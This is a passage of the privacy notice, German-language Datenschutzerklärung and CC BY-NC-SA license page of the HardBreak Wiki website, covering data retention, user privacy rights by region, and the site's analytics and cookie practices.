INFORMATION?**\ \&#xNAN;***In Short:** We keep your information for as long as necessary to fulfill the purposes outlined in this Privacy Notice unless otherwise required by law.*\ We will only keep your personal information for as long as it is necessary for the purposes set out in this Privacy Notice, unless a longer retention period is required or permitted by law (such as tax, accounting, or other legal requirements).\ When we have no ongoing legitimate business need to process your personal information, we will either delete or anonymize such information, or, if this is not possible (for example, because your personal information has been stored in backup archives), then we will securely store your personal information and isolate it from any further processing until deletion is possible.\ **10. HOW DO WE KEEP YOUR INFORMATION SAFE?**\ \&#xNAN;***In Short:** We aim to protect your personal information through a system of organizational and technical security measures.*\ We have implemented appropriate and reasonable technical and organizational security measures designed to protect the security of any personal information we process. However, despite our safeguards and efforts to secure your information, no electronic transmission over the Internet or information storage technology can be guaranteed to be 100% secure, so we cannot promise or guarantee that hackers, cybercriminals, or other unauthorized third parties will not be able to defeat our security and improperly collect, access, steal, or modify your information. Although we will do our best to protect your personal information, transmission of personal information to and from our Services is at your own risk. You should only access the Services within a secure environment.\ **11. WHAT ARE YOUR PRIVACY RIGHTS?**\ \&#xNAN;***In Short:** Depending on your state of residence in the US or in some regions, such as the European Economic Area (EEA), United Kingdom (UK), Switzerland, and Canada, you have rights that allow you greater access to and control over your personal information. You may review, change, or terminate your account at any time, depending on your country, province, or state of residence.*\ In some regions (like the EEA, UK, Switzerland, and Canada), you have certain rights under applicable data protection laws. These may include the right (i) to request access and obtain a copy of your personal information, (ii) to request rectification or erasure; (iii) to restrict the processing of your personal information; (iv) if applicable, to data portability; and (v) not to be subject to automated decision-making. In certain circumstances, you may also have the right to object to the processing of your personal information. You can make such a request by contacting us by using the contact details provided in the section "HOW CAN YOU CONTACT US ABOUT THIS NOTICE?" below.\ We will consider and act upon any request in accordance with applicable data protection laws. If you are located in the EEA or UK and you believe we are unlawfully processing your personal information, you also have the right to complain to your [Member State data protection authority](https://ec.europa.eu/justice/data-protection/bodies/authorities/index_en.htm) or [UK data protection authority](https://ico.org.uk/make-a-complaint/data-protection-complaints/data-protection-complaints/).\ If you are located in Switzerland, you may contact the [Federal Data Protection and Information Commissioner](https://www.edoeb.admin.ch/edoeb/en/home.html).\ **Withdrawing your consent:** If we are relying on your consent to process your personal information, which may be express and/or implied consent depending on the applicable law, you have the right to withdraw your consent at any time. You can withdraw your consent at any time by contacting us by using the contact details provided in the section "HOW CAN YOU CONTACT US ABOUT THIS NOTICE?" below.\ However, please note that this will not affect the lawfulness of the processing before its withdrawal nor, when applicable law allows, will it affect the processing of your personal information conducted in reliance on lawful processing grounds other than consent.\ **Cookies and similar technologies:** Most Web browsers are set to accept cookies by default. If you prefer, you can usually choose to set your browser to remove cookies and to reject cookies. If you choose to remove cookies or reject cookies, this could affect certain features or services of our Services. You may also [opt out of interest-based advertising by advertisers](http://www.aboutads.info/choices/) on our Services. For further information, please see our Cookie Notice: .\ If you have questions or comments about your privacy rights, you may email us at .\ **12. CONTROLS FOR DO-NOT-TRACK FEATURES**\ Most web browsers and some mobile operating systems and mobile applications include a Do-Not-Track ("DNT") feature or setting you can activate to signal your privacy preference not to have data about your online browsing activities monitored and collected. At this stage, no uniform technology standard for recognizing and implementing DNT signals has been finalized. As such, we do not currently respond to DNT browser signals or any other mechanism that automatically communicates your choice not to be tracked online. If a standard for online tracking is adopted that we must follow in the future, we will inform you about that practice in a revised version of this Privacy Notice.\ California law requires us to let you know how we respond to web browser DNT signals. Because there currently is not an industry or legal standard for recognizing or honoring DNT signals, we do not respond to them at this time.\ **13. DO UNITED STATES RESIDENTS HAVE SPECIFIC PRIVACY RIGHTS?**\ \&#xNAN;***In Short:** If you are a resident of California, Colorado, Connecticut, Delaware, Florida, Indiana, Iowa, Kentucky, Minnesota, Montana, Nebraska, New Hampshire, New Jersey, Oregon, Tennessee, Texas, Utah, or Virginia, you may have the right to request access to and receive details about the personal information we maintain about you and how we have processed it, correct inaccuracies, get a copy of, or delete your personal information. You may also have the right to withdraw your consent to our processing of your personal information. These rights may be limited in some circumstances by applicable law. More information is provided below.*\ **Categories of Personal Information We Collect**\ We have collected the following categories of personal information in the past twelve (12) months:\\ | **Category** | **Examples** | **Collected** | | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------- | | A. Identifiers | Contact details, such as real name, alias, postal address, telephone or mobile contact number, unique personal identifier, online identifier, Internet Protocol address, email address, and account name |


NO

| | B. Personal information as defined in the California Customer Records statute | Name, contact information, education, employment, employment history, and financial information |


NO

| | ----------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | ----------------- | | C. Protected classification characteristics under state or federal law | Gender, age, date of birth, race and ethnicity, national origin, marital status, and other demographic data |


NO

| | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | | D. Commercial information | Transaction information, purchase history, financial details, and payment information |


NO

| | E. Biometric information | Fingerprints and voiceprints |


NO

| | F. Internet or other similar network activity | Browsing history, search history, online behavior, interest data, and interactions with our and other websites, applications, systems, and advertisements |


YES

| | G. Geolocation data | Device location |


YES

| | H. Audio, electronic, sensory, or similar information | Images and audio, video or call recordings created in connection with our business activities |


NO

| | I. Professional or employment-related information | Business contact details in order to provide you our Services at a business level or job title, work history, and professional qualifications if you apply for a job with us |


NO

| | J. Education Information | Student records and directory information |


NO

| | K. Inferences drawn from collected personal information | Inferences drawn from any of the collected personal information listed above to create a profile or summary about, for example, an individual’s preferences and characteristics |


NO

| | L. Sensitive personal Information | |


NO

| \ We may also collect other personal information outside of these categories through instances where you interact with us in person, online, or by phone or mail in the context of: * Receiving help through our customer support channels; * Participation in customer surveys or contests; and * Facilitation in the delivery of our Services and to respond to your inquiries. We will use and retain the collected personal information as needed to provide the Services or for: * Category F - 6 months * Category G - 6 months * Category H - 6 months **Sources of Personal Information**\ Learn more about the sources of personal information we collect in "WHAT INFORMATION DO WE COLLECT?"\ **How We Use and Share Personal Information**\ Learn more about how we use your personal information in the section, "HOW DO WE PROCESS YOUR INFORMATION?"\ **Will your information be shared with anyone else?**\ We may disclose your personal information with our service providers pursuant to a written contract between us and each service provider. Learn more about how we disclose personal information to in the section, "WHEN AND WITH WHOM DO WE SHARE YOUR PERSONAL INFORMATION?"\ We may use your personal information for our own business purposes, such as for undertaking internal research for technological development and demonstration. This is not considered to be "selling" of your personal information.\ We have not disclosed, sold, or shared any personal information to third parties for a business or commercial purpose in the preceding twelve (12) months. We will not sell or share personal information in the future belonging to website visitors, users, and other consumers.\ **Your Rights**\ You have rights under certain US state data protection laws. However, these rights are not absolute, and in certain cases, we may decline your request as permitted by law. These rights include: * **Right to know** whether or not we are processing your personal data * **Right to access** your personal data * **Right to correct** inaccuracies in your personal data * **Right to request** the deletion of your personal data * **Right to obtain a copy** of the personal data you previously shared with us * **Right to non-discrimination** for exercising your rights * **Right to opt out** of the processing of your personal data if it is used for targeted advertising (or sharing as defined under California’s privacy law), the sale of personal data, or profiling in furtherance of decisions that produce legal or similarly significant effects ("profiling") Depending upon the state where you live, you may also have the following rights: * Right to access the categories of personal data being processed (as permitted by applicable law, including Minnesota’s privacy law) * Right to obtain a list of the categories of third parties to which we have disclosed personal data (as permitted by applicable law, including California's and Delaware's privacy law) * Right to obtain a list of specific third parties to which we have disclosed personal data (as permitted by applicable law, including Minnesota's and Oregon's privacy law) * Right to review, understand, question, and correct how personal data has been profiled (as permitted by applicable law, including Minnesota’s privacy law) * Right to limit use and disclosure of sensitive personal data (as permitted by applicable law, including California’s privacy law) * Right to opt out of the collection of sensitive data and personal data collected through the operation of a voice or facial recognition feature (as permitted by applicable law, including Florida’s privacy law) **How to Exercise Your Rights**\ To exercise these rights, you can contact us by visiting , by emailing us at , by calling toll-free at +4908920571039, or by referring to the contact details at the bottom of this document.\ Under certain US state data protection laws, you can designate an authorized agent to make a request on your behalf. We may deny a request from an authorized agent that does not submit proof that they have been validly authorized to act on your behalf in accordance with applicable laws.\ \ **Request Verification**\ Upon receiving your request, we will need to verify your identity to determine you are the same person about whom we have the information in our system. We will only use personal information provided in your request to verify your identity or authority to make the request. However, if we cannot verify your identity from the information already maintained by us, we may request that you provide additional information for the purposes of verifying your identity and for security or fraud-prevention purposes.\ If you submit the request through an authorized agent, we may need to collect additional information to verify your identity before processing your request and the agent will need to provide a written and signed permission from you to submit such request on your behalf.\ **Appeals**\ Under certain US state data protection laws, if we decline to take action regarding your request, you may appeal our decision by emailing us at . We will inform you in writing of any action taken or not taken in response to the appeal, including a written explanation of the reasons for the decisions. If your appeal is denied, you may submit a complaint to your state attorney general.\ **California "Shine The Light" Law**\ California Civil Code Section 1798.83, also known as the "Shine The Light" law, permits our users who are California residents to request and obtain from us, once a year and free of charge, information about categories of personal information (if any) we disclosed to third parties for direct marketing purposes and the names and addresses of all third parties with which we shared personal information in the immediately preceding calendar year. If you are a California resident and would like to make such a request, please submit your request in writing to us by using the contact details provided in the section "HOW CAN YOU CONTACT US ABOUT THIS NOTICE?"\ **14. DO OTHER REGIONS HAVE SPECIFIC PRIVACY RIGHTS?**\ \&#xNAN;***In Short:** You may have additional rights based on the country you reside in.*\ **Australia** **and** **New Zealand**\ We collect and process your personal information under the obligations and conditions set by Australia's Privacy Act 1988 and New Zealand's Privacy Act 2020 (Privacy Act).\ This Privacy Notice satisfies the notice requirements defined in both Privacy Acts, in particular: what personal information we collect from you, from which sources, for which purposes, and other recipients of your personal information.\ If you do not wish to provide the personal information necessary to fulfill their applicable purpose, it may affect our ability to provide our services, in particular: * offer you the products or services that you want * respond to or help with your requests At any time, you have the right to request access to or correction of your personal information. You can make such a request by contacting us by using the contact details provided in the section "HOW CAN YOU REVIEW, UPDATE, OR DELETE THE DATA WE COLLECT FROM YOU?"\ If you believe we are unlawfully processing your personal information, you have the right to submit a complaint about a breach of the Australian Privacy Principles to the [Office of the Australian Information Commissioner](https://www.oaic.gov.au/privacy/privacy-complaints/lodge-a-privacy-complaint-with-us) and a breach of New Zealand's Privacy Principles to the [Office of New Zealand Privacy Commissioner](https://www.privacy.org.nz/your-rights/making-a-complaint/).\ **Republic of South Africa**\ At any time, you have the right to request access to or correction of your personal information. You can make such a request by contacting us by using the contact details provided in the section "HOW CAN YOU REVIEW, UPDATE, OR DELETE THE DATA WE COLLECT FROM YOU?"\ If you are unsatisfied with the manner in which we address any complaint with regard to our processing of personal information, you can contact the office of the regulator, the details of which are:\ [The Information Regulator (South Africa)](https://inforegulator.org.za/)General enquiries: Complaints (complete POPIA/PAIA form 5): & \ **15. DO WE MAKE UPDATES TO THIS NOTICE?**\ \&#xNAN;***In Short:** Yes, we will update this notice as necessary to stay compliant with relevant laws.*\ We may update this Privacy Notice from time to time. The updated version will be indicated by an updated "Revised" date at the top of this Privacy Notice. If we make material changes to this Privacy Notice, we may notify you either by prominently posting a notice of such changes or by directly sending you a notification. We encourage you to review this Privacy Notice frequently to be informed of how we are protecting your information.\ **16. HOW CAN YOU CONTACT US ABOUT THIS NOTICE?**\ If you have questions or comments about this notice, you may email us at or contact us by post at:\ HardBreakWeiglstraße 9MĂŒnchen 80636Germany\ **17. HOW CAN YOU REVIEW, UPDATE, OR DELETE THE DATA WE COLLECT FROM YOU?**\ Based on the applicable laws of your country or state of residence in the US, you may have the right to request access to the personal information we collect from you, details about how we have processed it, correct inaccuracies, or delete your personal information. You may also have the right to withdraw your consent to our processing of your personal information. These rights may be limited in some circumstances by applicable law. To request to review, update, or delete your personal information, please visit: . # DatenschutzerklĂ€rung ## DatenschutzerklĂ€rung Wie wir mit Ihren personenbezogenen Daten umgehen, erlĂ€utern wir Ihnen in dieser DatenschutzerklĂ€rung. Maßgabe ist das geltende Datenschutzrecht, insbesondere die Datenschutz-Grundverordnung (DSGVO). Mit Ausnahme der Dienstleister und Drittanbieter, die wir in dieser DatenschutzerklĂ€rung benennen, geben wir keine Daten an Dritte weiter. Wenn Sie Fragen haben, sprechen Sie uns gerne an. ### Inhalt * Verantwortlicher * Allgemeine Informationen * Datenverarbeitung beim Aufruf der Webseite * Cookies, ZĂ€hlpixel und Mobile Identifier * Kontaktaufnahme * Affiliate-Links * Umfragen * Weitere Drittdienste * Profile in sozialen Netzwerken * Rechte betroffener Personen ### Verantwortlicher Verantwortlich fĂŒr die Datenverarbeitung ist Jonas Rosenberger\ Weiglstrasse 9\ 80636 MĂŒnchen ### Allgemeine Informationen **Bereitstellung von Daten**\ \ FĂŒr eine Nutzung unserer Webseite ist in der Regel weder gesetzlich noch vertraglich vorgeschrieben, personenbezogene Daten zur VerfĂŒgung stellen. Soweit eine Bereitstellung von Daten fĂŒr einen Vertragsabschluss erforderlich ist oder der Nutzer dazu verpflichtet ist, personenbezogene Daten bereitzustellen, teilen wir diesen Umstand und welche Folgen die Nichtbereitstellung hĂ€tte in dieser DatenschutzerklĂ€rung mit.\ \ **DatenĂŒbermittlung an DrittlĂ€nder**\ \ Es ist möglich, dass wir Dienstleister und Drittanbieter einsetzen, die in LĂ€ndern außerhalb der EuropĂ€ischen Union und des EuropĂ€ischen Wirtschaftsraums ansĂ€ssig sind. Die Übermittlung personenbezogener Daten in solche DrittlĂ€nder erfolgt, sofern nicht eine Einwilligung des Nutzers in die DatenĂŒbermittlung vorliegt, auf der Grundlage eines Angemessenheitsbeschlusses der EuropĂ€ischen Kommission (Art. 45 DSGVO) oder wir haben geeignete Garantien vorgesehen, um den Datenschutz sicherzustellen (Art. 46 DSGVO). Soweit ein Angemessenheitsbeschluss der EuropĂ€ischen Kommission fĂŒr die DatenĂŒbermittlung in ein Drittland vorhanden ist, weisen wir in dieser DatenschutzerklĂ€rung darauf hin. Im Übrigen gilt, dass Nutzer eine Kopie der geeigneten Garantien, soweit diese nicht bereits in den DatenschutzerklĂ€rungen der Dienstleister oder Drittanbieter enthalten ist, ĂŒber uns beziehen können.\ \ **Automatisierte Entscheidungsfindung**\ \ Sollten wir eine automatisierte Entscheidungsfindung einschließlich Profiling vornehmen, informieren wir in dieser DatenschutzerklĂ€rung ĂŒber diesen Umstand, ĂŒber die involvierte Logik sowie die Tragweite und die angestrebten Auswirkungen einer derartigen Verarbeitung. Im Übrigen findet eine automatisierte Entscheidungsfindung nicht statt.\ \ **Verarbeitung zu anderen Zwecken**\ \ Daten werden grundsĂ€tzlich nur zu den Zwecken verarbeitet, fĂŒr die sie erhoben wurden. Sollen sie ausnahmsweise zu anderen Zwecken weiterverarbeitet werden, informieren wir vor dieser Weiterverarbeitung ĂŒber diese anderen Zwecke und stellen alle anderen maßgeblichen Informationen zur VerfĂŒgung (Art. 13 Abs. 3 DSGVO). ### Datenverarbeitung beim Aufruf der Webseite Bei jedem Aufruf unserer Webseite ĂŒbertrĂ€gt der Browser des Nutzers verschiedene Daten. FĂŒr die Dauer des Besuchs der Webseite werden die folgenden Daten verarbeitet und in Logfiles auch ĂŒber ein Ende der Verbindung hinaus gespeichert: * Browsertyp und verwendete -version * Betriebssystem * Abgerufene Seiten und Dateien * Übertragene Datenmenge * Datum und Uhrzeit des Abrufs * Provider des Nutzers * IP-Adresse * Referrer URL Die Verarbeitung dieser Daten ist erforderlich, um die Webseite an den Nutzer ausliefern zu können und fĂŒr sein EndgerĂ€t zu optimieren. Die Speicherung in Logfiles dient der Verbesserung der Sicherheit unserer Webseite (z.B. Schutz vor DDOS-Angriffen). Rechtsgrundlage fĂŒr die Verarbeitung ist Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Bereitstellung der Webseite und der Verbesserung der Webseitensicherheit. Logfiles werden nach 90 Tagen automatisch gelöscht. ### Cookies, ZĂ€hlpixel und Mobile Identifier Auf unserer Webseite setzen wir Technologien ein, um das genutzte EndgerĂ€t wiederzuerkennen. Es kann sich dabei um Cookies, ZĂ€hlpixel und/oder Mobile Identifier handeln. Das Wiedererkennen eines EndgerĂ€ts kann grundsĂ€tzlich zu unterschiedlichen Zwecken erfolgen. Es kann notwendig sein, um Funktionen unserer Webseite bereitzustellen, beispielsweise um einen Warenkorb zur VerfĂŒgung zu stellen. DarĂŒber hinaus können die genannten Technologien dazu genutzt werden, um das Verhalten von Nutzern auf der Seite nachzuvollziehen, beispielsweise zu Werbezwecken. Welche Technologien wir im Einzelnen nutzen und zu welchen Zwecken, beschreiben wir in dieser DatenschutzerklĂ€rung gesondert. FĂŒr ein besseres VerstĂ€ndnis erlĂ€utern wir nachfolgend allgemein, wie Cookies, ZĂ€hlpixel und Mobile Identifier funktionieren: * Cookies sind kleine Textdateien, die bestimmte Informationen beinhalten und auf dem EndgerĂ€t des Nutzers gespeichert werden. Zumeist handelt es sich um eine Identifikationsnummer, die einem EndgerĂ€t zugewiesen wird (Cookie ID). * Bei einem ZĂ€hlpixel handelt es sich um eine transparente Grafikdatei, die auf einer Seite eingebunden wird und eine Logdateianalyse ermöglicht. * Ein Mobile Identifier ist eine einzigartige Nummer (Mobile ID), die auf einem mobilen EndgerĂ€t gespeichert ist und durch eine Webseite ausgelesen werden kann. Cookies können erforderlich sein, damit unsere Webseite ordnungsgemĂ€ĂŸ funktioniert. Rechtsgrundlage fĂŒr den Einsatz derartiger Cookies ist Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Bereitstellung der Funktionen unserer Webseite. FĂŒr den Betrieb unserer Webseite nicht erforderliche Cookies setzen wir ein, um unser Angebot nutzerfreundlicher zu machen oder die Nutzung unserer Webseite nachvollziehen zu können. Die Rechtsgrundlage richtet sich hier danach, ob die Einwilligung des Nutzers einzuholen ist oder wir uns auf ein berechtigtes Interesse berufen können. Eine erteilte Einwilligung kann der Nutzer unter anderem durch die Einstellungen in seinem Browser jederzeit widerrufen. Der Nutzer kann der Verarbeitung von Daten mithilfe von Cookies durch entsprechende Einstellungen in seinem Browser verhindern und ihr widersprechen. Im Falle des Widerspruchs kann es sein, dass nicht alle Funktionen unserer Webseite zur VerfĂŒgung stehen. Über weitere Möglichkeiten des Widerspruchs gegen die Verarbeitung personenbezogener Daten durch Cookies informieren wir in dieser DatenschutzerklĂ€rung gesondert. Gegebenenfalls stellen wir Links bereit, mit denen ein Widerspruch erklĂ€rt werden kann. Diese sind mit "Opt-Out" beschriftet. ### Kontaktaufnahme Im Falle einer Kontaktaufnahme verarbeiten wir die Angaben des Nutzers, Datum und Uhrzeit zum Zwecke der Bearbeitung der Anfrage einschließlich eventueller RĂŒckfragen. Rechtsgrundlage fĂŒr die Datenverarbeitung ist Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Beantwortung der Anfragen unserer Nutzer. ZusĂ€tzliche Rechtsgrundlage ist Art. 6 Abs. 1 UAbs. 1 Buchst. b) DSGVO, wenn die Verarbeitung fĂŒr die ErfĂŒllung eines Vertrags oder zur DurchfĂŒhrung vorvertraglicher Maßnahmen erforderlich ist. Die Daten werden gelöscht, sobald die Anfrage einschließlich etwaiger RĂŒckfragen beantwortet ist. Wir ĂŒberprĂŒfen in regelmĂ€ĂŸigen AbstĂ€nden, mindestens aber alle zwei Jahre, ob im Zusammenhang mit Kontaktaufnahmen angefallene Daten zu löschen sind. ### Affiliate-Links Wir nehmen an Affiliate-Programmen teil. Das bedeutet, dass wir Links zu Partnerunternehmen setzen. Klickt ein Nutzer auf einen solchen Affiliate-Link, erhalten wir unter UmstĂ€nden eine Provision. In diesem Falle ist es erforderlich, die AktivitĂ€ten des Nutzers auf den Seiten des Partnerunternehmens unserem Angebot zuzuordnen. Dies geschieht durch den Link oder auf andere Weise, zum Beispiel durch Cookies. Die anfallenden Daten werden ausschließlich zu diesem Zweck verarbeitet. Soweit wir eine Einwilligung des Nutzers einholen, ist Art. 6 Abs. 1 UAbs. 1 Buchst. a) DSGVO die Rechtsgrundlage fĂŒr die Verarbeitung. Rechtsgrundlage im Übrigen ist Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Finanzierung unseres Angebots. Die verarbeiteten Daten werden gelöscht, sobald sie nicht mehr erforderlich sind, um die Provision abzurechnen. ### Umfragen Auf unserer Webseite fĂŒhren wir Online-Umfragen durch. Wir wollen die Interessen unserer Nutzer genauer kennenlernen, um unser Angebot wie auch unsere Produkte und Dienstleistungen zu verbessern. Es ist möglich, dass wir ĂŒber die damit verbundene Verarbeitung von Daten in einer separaten DatenschutzerklĂ€rung informieren, die dann vorrangig ist. Handelt es sich um eine Umfrage, die nicht personalisiert ist, bei der also weder ein individueller Link zur Teilnahme ausgegeben wird noch der Nutzer personenbezogene Daten angibt, werden nur die Daten verarbeitet, die bei der Nutzung der Webseite allgemein anfallen. Im Falle einer personalisierten Umfrage nutzen wir die von dem Nutzer eingegebenen Angaben, um ihn zu erinnern, falls er die Umfrage nicht abgeschlossen hat und um eine mehrfache Teilnahme auszuschließen. Antworten speichern wir nicht zusammen mit Daten, ĂŒber der Nutzer identifiziert werden kann. Anhand der Antworten erstellen wir anonyme Auswertungen. Soweit wir eine Einwilligung des Nutzers einholen, ist Art. 6 Abs. 1 UAbs. 1 Buchst. a) DSGVO die Rechtsgrundlage der Verarbeitung. Im Übrigen beruht sie auf Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Verbesserung unseres Angebots wie auch unserer Produkte und Dienstleistungen. ### Weitere Drittdienste **Google Analytics** Zu Analyse der Nutzung unserer Webseite setzen wir Google Analytics ein. Anbieter: Google Ireland Ltd., Google Building Gordon House, 4 Barrow St, Dublin, D04 E5W5, Irland. Um AktivitĂ€ten des Nutzers auf der Webseite nachverfolgen zu können, wird ein Cookie auf dem EndgerĂ€t gesetzt. Wir nutzen Google Analytics mit der Erweiterung *anonymize IP*. Die IP-Adresse des Nutzers wird automatisch gekĂŒrzt, bevor sie an Server in den USA ĂŒbertragen wird. Ausgewertet werden unter anderem der ungefĂ€hre geografische Standort, EndgerĂ€t, Bildschirmauflösung, Browser sowie besuchte Seiten einschließlich der Verweildauer. Soweit wir eine Einwilligung des Nutzers einholen, erfolgt die Verarbeitung von Daten auf der Rechtsgrundlage des Art. 6 Abs. 1 UAbs. 1 Buchst. a) DSGVO. Im Übrigen beruht sie auf Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der Optimierung unserer Webseite, der Verbesserung unserer Angebote und dem Online-Marketing. Die durch Google Analytics gesammelten Daten werden nach Ablauf von 14 Monaten automatisch gelöscht. [Opt-Out](https://tools.google.com/dlpage/gaoptout?hl=de) [DatenschutzerklĂ€rung von Google Analytics](https://policies.google.com/privacy?hl=de) **Google Tag Manager** Zur Verwaltung unserer Webseiten-Tags nutzen wir den Google Tag Manager. Anbieter: Google Ireland Ltd., Google Building Gordon House, 4 Barrow St, Dublin, D04 E5W5, Irland Der Tag Manager ist eine cookielose Domain, der Tags verschiedener Anbieter auslöst, die ihrerseits Daten erfassen. Auf diese Daten greift der Google Tag Manager nicht zu. Um Tags auslösen zu können, ist es technisch notwendig, die IP-Adresse des Nutzers an Google zu ĂŒbertragen. Der Einsatz des Google Tag Managers erfolgt auf der Rechtsgrundlage des Art. 6 Abs. 1 UAbs. 1 Buchst. f) DSGVO. Unser berechtigtes Interesse besteht in der vereinfachten Verwaltung von uns eingesetzter Drittdienste. [DatenschutzerklĂ€rung von Google Tag Manager](https://policies.google.com/privacy?hl=de) ### Profile in sozialen Netzwerken Wir sind in einem oder mehreren sozialen Netzwerken prĂ€sent. Im Einzelnen handelt es sich um: Facebook, Instagram, Twitter oder LinkedIn. Bei einer Kontaktaufnahme verarbeiten wir personenbezogene Daten wie oben unter Kontaktaufnahme beschrieben. Die Anbieter von sozialen Netzwerken verarbeiten Daten entsprechend ihrer Datenschutzbestimmungen, die hier aufgerufen werden können: * [Facebook](https://facebook.com/policy.php) * [Instagram](https://de-de.facebook.com/help/instagram/155833707900388) * [Twitter](https://twitter.com/de/privacy) * [LinkedIn](https://www.linkedin.com/legal/privacy-policy?_l=de_DE) Ist ein Nutzer mit seinem Account eingeloggt, können ihm die AktivitĂ€ten auf unserem Profil in dem jeweiligen sozialen Netzwerk gegebenenfalls zugeordnet werden. Dies kann gerĂ€teĂŒbergreifend und ggf. auch ohne Login erfolgen, beispielsweise unter Verwendung von Cookies oder Mobile Identifiern. Die Anbieter sozialer Netzwerke erstellen anhand der gesammelten Daten pseudonymisierte Nutzerprofile, mit denen sie insbesondere personalisierte Werbung ausspielen können. ### Rechte betroffener Personen Werden personenbezogene Daten des Nutzers verarbeitet, ist er betroffene Person im Sinne der DSGVO. Betroffenen Personen stehen die folgenden Rechte zu: **Recht auf Auskunft:** Die betroffene Person hat das Recht, eine BestĂ€tigung darĂŒber zu verlangen, ob sie betreffende personenbezogene Daten verarbeitet werden. Werden personenbezogene Daten verarbeitet, so hat die betroffene Person ein Recht auf unentgeltliche Auskunft sowie auf eine Kopie der personenbezogenen Daten, die Gegenstand der Verarbeitung sind. **Recht auf Berichtigung:** Die betroffene Person hat das Recht, die unverzĂŒgliche Berichtigung unrichtiger oder VervollstĂ€ndigung unvollstĂ€ndiger personenbezogener Daten zu verlangen. **Recht auf Löschung:** Die betroffene Person hat das Recht, nach Maßgabe der gesetzlichen Bestimmungen eine unverzĂŒgliche Löschung sie betreffender personenbezogener Daten zu verlangen. **Recht auf EinschrĂ€nkung der Verarbeitung:** Die betroffene Person hat das Recht, nach Maßgabe der gesetzlichen Bestimmungen eine EinschrĂ€nkung der Verarbeitung sie betreffender personenbezogener Daten zu verlangen. **Recht auf DatenĂŒbertragbarkeit:** Die betroffene Person hat das Recht, die sie betreffenden personenbezogenen Daten in einem strukturierten, gĂ€ngigen und maschinenlesbaren Format zu erhalten oder eine Übermittlung an einen anderen Verantwortlichen zu verlangen. **Recht auf Widerspruch:** Die betroffene Person hat das Recht, aus GrĂŒnden, die sich aus ihrer besonderen Situation ergeben, jederzeit gegen die Verarbeitung sie betreffender personenbezogener Daten, die aufgrund von Art. 6 Abs. 1 UAbs. 1 Buchst. e) oder f) DSGVO erfolgt, Widerspruch einzulegen; dies gilt auch fĂŒr ein auf diese Bestimmungen gestĂŒtztes Profiling. Werden personenbezogene Daten verarbeitet, um Direktwerbung zu betreiben, so hat die betroffene Person das Recht, jederzeit Widerspruch gegen die Verarbeitung sie betreffender personenbezogener Daten zum Zwecke derartiger Werbung einzulegen; dies gilt auch fĂŒr das Profiling, soweit es mit solcher Direktwerbung in Verbindung steht. **Recht auf Widerruf:** Die betroffene Person hat das Recht, ihre erteilte Einwilligung jederzeit zu widerrufen. **Recht auf Beschwerde:** Die betroffene Person hat das Recht, sich bei einer Aufsichtsbehörde zu beschweren. **Stand der DatenschutzerklĂ€rung:** 12. November 2024 # License Copyright © All rights reserved unless otherwise specified. ## Attribution The original content on HardBreak Wiki is licensed under the **Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0)** license. You are free to: * **Share**: Copy and redistribute the material in any medium or format. * **Adapt**: Remix, transform, and build upon the material. Under the following terms: * **Attribution**: You must give appropriate credit by citing HardBreak Wiki as the source and providing a link to the original page where possible. * **NonCommercial**: You may not use the material for commercial purposes. * **ShareAlike**: If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original. ## Third-Party Content Any content on HardBreak Wiki originating from other authors is licensed under the original author’s terms and remains subject to their rights. You are responsible for complying with the terms of those original licenses. ## Exemptions * **Commercial Use**: For inquiries regarding commercial use of the original content, please contact the author. * **Trademarks**: This license does not grant any trademark or branding rights in relation to the content. All trademarks and brands mentioned in HardBreak Wiki are the property of their respective owners. ## Terms By accessing or using HardBreak Wiki, you agree to abide by the terms of this license. If you do not agree with these terms, please refrain from using this website. For more information about the CC BY-NC-SA 4.0 license, visit .